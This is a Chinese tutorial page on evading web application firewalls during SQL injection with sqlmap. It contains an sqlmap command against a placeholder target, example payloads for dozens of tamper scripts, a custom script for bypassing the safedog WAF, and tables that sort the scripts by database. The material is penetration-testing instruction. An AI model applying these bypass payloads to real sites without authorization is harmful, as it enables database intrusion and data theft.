SQL注入--SQLMap过WAF
单引号被过滤情况:
空格、等号未被过滤情况:
select被过滤情况:
以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。
sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2commet,versionedmorekeywords.py" -v 3 --dbs
脚本名:apostrophemask.py
作用:用utf8代替引号
1
|
Example: ( "1 AND '1'='1" ) '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
Tested against: all
脚本名:equaltolike.py
作用:like 代替等号
1
2
3
4
5
|
Example: * Input: SELECT * FROM users WHERE id=1 * Output : SELECT * FROM users WHERE id LIKE 1 |
脚本名:space2dash.py
作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
1
|
Example: ( '1 AND 9227=9227' ) '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
Tested against: * MSSQL * SQLite
脚本名:greatest.py
作用:绕过过滤’>’ ,用GREATEST替换大于号。
1
|
Example: ( '1 AND A > B' ) '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 |
脚本名:space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
1
2
3
4
|
Example: * Input: 1 AND 9227=9227 * Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Requirement:
- MySQL Tested against:
- MySQL 4.0, 5.0
脚本名:apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
1
|
Example: tamper( "1 AND '1'='1" ) '1 AND %00%271%00%27=%00%271' |
Tested against:
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
脚本名:halfversionedmorekeywords.py
作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
1
2
3
|
Example: ( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" |
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
脚本名:space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符
1
2
3
4
5
|
Example: * Input: 1 AND 9227=9227 * Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
脚本名:appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
1
|
Example: ( '1 AND 1=1' ) '1 AND 1=1%00' |
Requirement:
- Microsoft Access
脚本名:ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
1
2
3
|
Example: ( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)' |
Requirement:
- MySQL
- SQLite (possibly)
- SAP MaxDB (possibly)
Tested against:
- MySQL 5.0 and 5.5
脚本名:space2mssqlblank.py(mssql)
作用:空格替换为其它空符号
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
脚本名:base64encode.py
作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
脚本名:space2mssqlhash.py
作用:替换空格
1
|
Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL |
脚本名:modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
1
|
Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--' |
Requirement: * MySQL
Tested against:
- MySQL 5.0
脚本名:space2mysqlblank.py
作用:空格替换其它空白符号(mysql)
1
2
3
4
5
|
Example: * Input: SELECT id FROM users * Output : SELECT %0Bid%0BFROM%A0users |
Requirement:
- MySQL
Tested against:
- MySQL 5.1
脚本名:between.py
作用:用between替换大于号(>)
1
|
Example: ( '1 AND A > B--' ) '1 AND A NOT BETWEEN 0 AND B--' |
Tested against:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
脚本名:space2mysqldash.py
作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
注:之前有个mssql的 这个是mysql的
1
|
Example: ( '1 AND 9227=9227' ) '1--%0AAND--%0A9227=9227' |
Requirement:
- MySQL
- MSSQL
脚本名:multiplespaces.py
作用:围绕SQL关键字添加多个空格
1
|
Example: ( '1 UNION SELECT foobar' ) '1 UNION SELECT foobar' |
Tested against: all
脚本名:space2plus.py
作用:用+替换空格
1
|
Example: ( 'SELECT id FROM users' ) 'SELECT+id+FROM+users' Tested against: all |
脚本名:bluecoat.py
作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
1
|
Example: ( 'SELECT id FROM users where id = 1' ) 'SELECT%09id FROM users where id LIKE 1' |
Tested against:
- MySQL 5.1, SGOS
脚本名:nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
1
|
Example: ( '1 UNION SELECT 2--' ) '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all |
脚本名:space2randomblank.py
作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
1
|
Example: ( 'SELECT id FROM users' ) 'SELECT%0Did%0DFROM%0Ausers' |
Tested against: all
脚本名:sp_password.py
作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
1
|
Example: ( '1 AND 9227=9227-- ' ) '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL |
脚本名:chardoubleencode.py
作用: 双url编码(不处理以编码的)
1
2
3
4
5
|
Example: * Input: SELECT FIELD FROM %20TABLE * Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 |
脚本名:unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
Requirement: all
脚本名:charencode.py
作用:url编码
1
2
3
4
5
|
Example: * Input: SELECT FIELD FROM %20TABLE * Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
tested against:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
脚本名:randomcase.py
作用:随机大小写 Example:
- Input: INSERT
- Output: InsERt
Tested against:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
脚本名:unmagicquotes.py
作用:宽字符绕过 GPC addslashes
1
2
3
4
5
|
Example: * Input: 1′ AND 1=1 * Output : 1%bf%27 AND 1=1–%20 |
脚本名:randomcomments.py
作用:用/**/分割sql关键字
1
2
3
|
Example: ‘ INSERT ’ becomes ‘ IN //S//ERT’ |
脚本名:charunicodeencode.py
作用:字符串 unicode 编码
1
2
3
4
5
|
Example: * Input: SELECT FIELD%20FROM TABLE * Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
Requirement:
- ASP
- ASP.NET
Tested against:
- Microsoft SQL Server 2000
- Microsoft SQL Server 2005
- MySQL 5.1.56
- PostgreSQL 9.0.3
脚本名:securesphere.py
作用:追加特制的字符串
1
|
Example: ( '1 AND 1=1' ) "1 AND 1=1 and '0having'='0having'" |
Tested against: all
脚本名:versionedmorekeywords.py
作用:注释绕过
1
2
3
4
5
|
Example: * Input: 1 UNION ALL SELECT NULL , NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,115,114,121,58))# * Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))# |
Requirement:
- MySQL >= 5.1.13
脚本名:space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
1
2
3
4
5
|
Example: * Input: SELECT id FROM users * Output : SELECT //id// FROM /**/users |
Tested against:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
脚本名:halfversionedmorekeywords.py
作用:关键字前加注释
1
2
3
4
5
|
Example: * Input: value’ UNION ALL SELECT CONCAT( CHAR (58,107,112,113,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,97,110,121,58)), NULL , NULL # AND ‘QDWa’= 'QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' QDWa |
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
编写一个tamper脚本
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) #常规文档说明
See the file 'doc/COPYING' for copying permission
v0.0.1 #添加这个脚本的版本说明
2016.08.21 #添加我们写这个脚本的日期
"""
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.LOW #定义优先级,此处为级别为【一般】
def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。
pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性
def tamper(payload, **kwargs): #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3}
"""
To bypass safedog
Replaces space character (' ') with plus ('/*|%20--%20|*/') #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则
>>> tamper('SELECT id FROM users') #此处为替换后的具体执行形式
'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
"""
retVal = payload # 将payload赋值给 retVal ,以便中间转换。
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False #定义这些符号参数,防止对后面的替换造成影响
for i in xrange(len(payload)): # 在攻击载荷中逐个进行判断操作。
if not firstspace: #如果攻击载荷的第一个字段是空格,则进行替换
if payload[i].isspace():
firstspace = True
retVal += "/*|%20--%20|*/" #把空格( ) 替换成(/*|%20--%20|*/)
continue #继续进行判断操作
elif payload[i] == '\'': #如果攻击载荷中有(\ ),则进行编码转换
quote = not quote
elif payload[i] == '"': #如果攻击载荷中有(“ ),则进行编码转换
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote: #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote
retVal += "/*|%20--%20|*/" #则进行编码转换
continue 继续执行
retVal += payload[i] #得到重新组合的payload
return retVal
附:tamper57个脚本:
序号 | 脚本名称 | 注释 |
---|---|---|
1 | 0x2char | 将每个编码后的字符转换为等价表达 |
2 | apostrophemask | 单引号替换为Utf8字符 |
3 | apostrophenullencode | 替换双引号为%00%27 |
4 | appendnullbyte | 有效代码后添加%00 |
5 | base64encode | 使用base64编码 |
6 | between | 比较符替换为between |
7 | bluecoat | 空格替换为随机空白字符,等号替换为like |
8 | chardoubleencode | 双url编码 |
9 | charencode | 将url编码 |
10 | charunicodeencode | 使用unicode编码 |
11 | charunicodeescape | 以指定的payload反向编码未编码的字符 |
12 | commalesslimit | 改变limit语句的写法 |
13 | commalessmid | 改变mid语句的写法 |
14 | commentbeforeparentheses | 在括号前加内联注释 |
15 | concat2concatws | 替换CONCAT为CONCAT_WS |
16 | equaltolike | 等号替换为like |
17 | escapequotes | 双引号替换为\\\\ |
18 | greatest | 大于号替换为greatest |
19 | halfversionedmorekeywords | 在每个关键字前加注释 |
20 | htmlencode | html编码所有非字母和数字的字符 |
21 | ifnull2casewhenisnull | 改变ifnull语句的写法 |
22 | ifnull2ifisnull | 替换ifnull为if(isnull(A)) |
23 | informationschemacomment | 标示符后添加注释 |
24 | least | 替换大于号为least |
25 | lowercase | 全部替换为小写值 |
26 | modsecurityversioned | 空格替换为查询版本的注释 |
27 | modsecurityzeroversioned | 添加完整的查询版本的注释 |
28 | multiplespaces | 添加多个空格 |
29 | nonrecursivereplacement | 替换预定义的关键字 |
30 | overlongutf8 | 将所有字符转义为utf8 |
31 | overlongutf8more | 以指定的payload转换所有字符 |
32 | percentage | 每个字符前添加% |
33 | plus2concat | 将加号替换为concat函数 |
34 | plus2fnconcat | 将加号替换为ODBC函数{fn CONCAT()} |
35 | randomcase | 字符大小写随机替换 |
36 | randomcomments | /**/分割关键字 |
37 | securesphere | 添加某字符串 |
38 | sp_password | 追加sp_password字符串 |
39 | space2comment | 空格替换为/**/ |
40 | space2dash | 空格替换为–加随机字符 |
41 | space2hash | 空格替换为#加随机字符 |
42 | space2morecomment | 空格替换为/**_**/ |
43 | space2morehash | 空格替换为#加随机字符及换行符 |
44 | space2mssqlblank | 空格替换为其他空符号 |
45 | space2mssqlhash | 空格替换为%23%0A |
46 | space2mysqlblank | 空格替换为其他空白符号 |
47 | space2mysqldash | 空格替换为–%0A |
48 | space2plus | 空格替换为加号 |
49 | space2randomblank | 空格替换为备选字符集中的随机字符 |
50 | symboliclogical | AND和OR替换为&&和|| |
51 | unionalltounion | union all select替换为union select |
52 | unmagicquotes | 宽字符绕过GPC |
53 | uppercase | 全部替换为大写值 |
54 | varnish | 添加HTTP头 |
55 | versionedkeywords | 用注释封装每个非函数的关键字 |
56 | versionedmorekeywords | 使用注释绕过 |
57 | xforwardedfor | 添加伪造的HTTP头 |
Part 3
下面以数据库为区分,给出每种数据库可供选择的tamper。若同一脚本适用不同数据库,则在每个数据库中都指出。
【MySQL】
版本 | 可用tamper编号 | 脚本名称 |
---|---|---|
4/5.0/5.5 | 1 | 0x2char |
6 | between | |
9 | charencode | |
16 | concat2concatws | |
18 | greatest | |
24 | least | |
25 | lowercase | |
35 | randomcase | |
39 | space2comment | |
49 | space2randomblank | |
53 | uppercase | |
5.1 | 7 | bluecoat |
46 | space2mysqlblank | |
5.0/5.5 | 12 | commalesslimit |
13 | commalessmid | |
21 | ifnull2casewhenisnull | |
22 | ifnull2ifisnull | |
42 | space2morecomment | |
5.0 | 15 | concat2concatws |
26 | modsecurityversioned | |
27 | modsecurityzeroversioned | |
4.0/5.0 | 41 | space2hash |
5.1.56 | 10 | charunicodeencode |
5.1.56/5.5.11 | 32 | percentage |
56 | versionedmorekeywords | |
4.0.18/5.0.22 | 19 | halfversionedmorekeywords |
4.0.18/5.1.56/5.5.11 | 55 | versionedkeywords |
5.1.41 | 43 | space2morehash |
未指定版本 | 14 | commentbeforeparentheses |
40 | space2dash | |
45 | space2mssqlhash | |
47 | space2mysqldash |
【SQLServer】
版本 | 可用tamper编号 | 脚本名称 |
---|---|---|
2005/2000 | 10 | charunicodeencode |
32 | percentage | |
44 | space2mssqlblank | |
2005 | 6 | between |
9 | charencode | |
16 | equaltolike | |
25 | lowercase | |
35 | randomcase | |
39 | space2comment | |
49 | space2randomblank | |
53 | uppercase | |
2002+ | 33 | plus2concat |
2008+ | 34 | plus2fnconcat |
未指定 | 14 | commentbeforeparentheses |
【Access】
版本 | 可用tamper编号 | 脚本名称 |
---|---|---|
未指定 | 4 | appendnullbyte |
【Oracle】
版本 | 可用tamper编号 | 脚本名称 |
---|---|---|
10g | 6 | between |
9 | charencode | |
14 | commentbeforeparentheses | |
18 | greatest | |
24 | least | |
25 | lowercase | |
35 | randomcase | |
39 | space2comment | |
49 | space2randomblank | |
53 | uppercase |
【PostgreSQL】
版本 | 可用tamper编号 | 脚本名称 |
---|---|---|
8.3/8.4/9.0 | 6 | between |
9 | charencode | |
18 | greatest | |
24 | least | |
25 | lowercase | |
39 | space2comment | |
49 | space2randomblank | |
53 | uppercase | |
9.0 | 32 | percentage |
9.0.3 | 10 | charunicodeencode |
未指定 | 14 | commentbeforeparentheses |
35 | randomcase |
【MSSQL】
版本 | 可用tamper编号 | 脚本名称 |
---|---|---|
未指定 | 38 | sp_password |
【SQLite】
版本 | 可用tamper编号 | 脚本名称 |
---|---|---|
未指定 | 40 | space2dash |
【未知适用范围】
若以上脚本未解决问题,可尝试使用一下脚本。
版本 | 可用tamper编号 | 脚本名称 |
---|---|---|
2 | apostrophemask | |
3 | apostrophenullencode | |
5 | base64encode | |
8 | chardoubleencode | |
11 | charunicodeescape | |
17 | escapequotes | |
20 | htmlencode | |
23 | informationschemacomment | |
28 | multiplespaces | |
29 | nonrecursivereplacement | |
30 | overlongutf8 | |
31 | overlongutf8more | |
36 | randomcomments | |
37 | securesphere | |
48 | space2plus | |
50 | symboliclogical | |
51 | unionalltounion | |
52 | unmagicquotes | |
54 | varnish | |
57 | xforwardedfor |
SQL注入--SQLMap过WAF的更多相关文章
- 一次对真实网站的SQL注入———SQLmap使用
网上有许多手工注入SQL的例子和语句,非常值得我们学习,手工注入能让我们更加理解网站和数据库的关系,也能明白为什么利用注入语句能发现网站漏洞. 因为我是新手,注入语句还不太熟悉,我这次是手注发现的注点 ...
- SQL注入中的WAF绕过技术
目录 1.大小写绕过 2.简单编码绕过 3.注释绕过 4.分隔重写绕过 5.Http参数污染(HPP) 6.使用逻辑运算符 or /and绕过 7.比较操作符替换 8.同功能函数替换 9.盲注无需or ...
- SQL注入中的WAF绕过
1.大小写绕过 这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union UnIoN等等绕过. 2.简单编码绕过 比如WAF检测关键字,那么我们让他检测不到就可以了. ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 普通SQL注入
安全防御:过滤/转义非法参数,屏蔽SQL查询错误. 工具:Firefox,hackbar,sqlmap,burpsuite 1.联想tms站 例1, 联想tms站fromCity参数存在普通SQL注入 ...
- 2017-2018-2 20179204《网络攻防实践》第十一周学习总结 SQL注入攻击与实践
第1节 研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究 1.1 原理 在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放的空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统 ...
- sql注入知识点
需找sql注入点1\无特定目标inurl:.php?id= 2\有特定目标:inurl:.php?id= site:target.com 3\工具爬取spider,对搜索引擎和目标网站的链接进行爬取 ...
随机推荐
- win10 uwp 读取resw资源文件
ResourceContext resourceContext = ResourceContext.GetForViewIndependentUse(); ResourceMap resourceMa ...
- Mysql基本代码操作
Mysql的基本代码生成操作 创建一个数据库 (myschool是数据库名) create database myschool; 删除数据库 drop database myschool 创建一个 ...
- Android游戏引擎总汇 原文出处:http://software.intel.com/en-us/blogs/2012/03/13/game-engines-for-android?page=1
随着Android系统的使用越来越广泛,了解一下Android平台下的游戏引擎就非常有必要.而同时因为基于Intel x86的移动设备越来越多,我也非常关注支持x86的移动游戏引擎.然而就目前为止游戏 ...
- java中移位运算
转自: https://blog.csdn.net/wk1134314305/article/details/74891419
- react优缺点
优点: 1.面向组件,方便组件的复用. 2.从操作dom改为操作state. 缺点: 1.html和javascript较高耦合,不方便分工开发. 2.当一个页面中两处元素组件有相关性时,父组件会非常 ...
- 在windows下安装、配置、运行PostgreSQL【转】
安装PostgreSQL 在Windows下的安装就位无脑安装,选择好安装路径就好了,我的安装目录为D:\PostgreSQL\10,需要注意一下几点: 安装过程中需要一个数据库的目录,我的为D:\P ...
- python中Multiprocessing
import multiprocessing as mp #该函数不能有返回值,如果需要则应该将值放在queue中 def job(a,b): print('aaaa') if __name__ == ...
- Kong(v1.0.2)认证
介绍 上游服务(api或微服务)的流量通常由各种Kong的authentication plugins的应用程序和配置控制.由于Kong的服务实体表示您自己的上游服务的一对一映射,所以最简单的场景是在 ...
- python:面向对象初级
面向对象编程类的概念 : 具有相同属性和技能的一类事物 人类 抽象对象 : 就是对一个类的具体的描述 具体的人 具体 使用面向对象的好处: 使得代码之间的角色关系更加明确 增强了代码的可扩展性 规范了 ...
- 支持向量机(SVM)原理阐述
支持向量机(Support Vector Machine, SVM)是一种二分类模型.给定训练集D = {(x1,y1), (x2,y2), ..., (xm,ym)},分类学习的最基本的想法即是找到 ...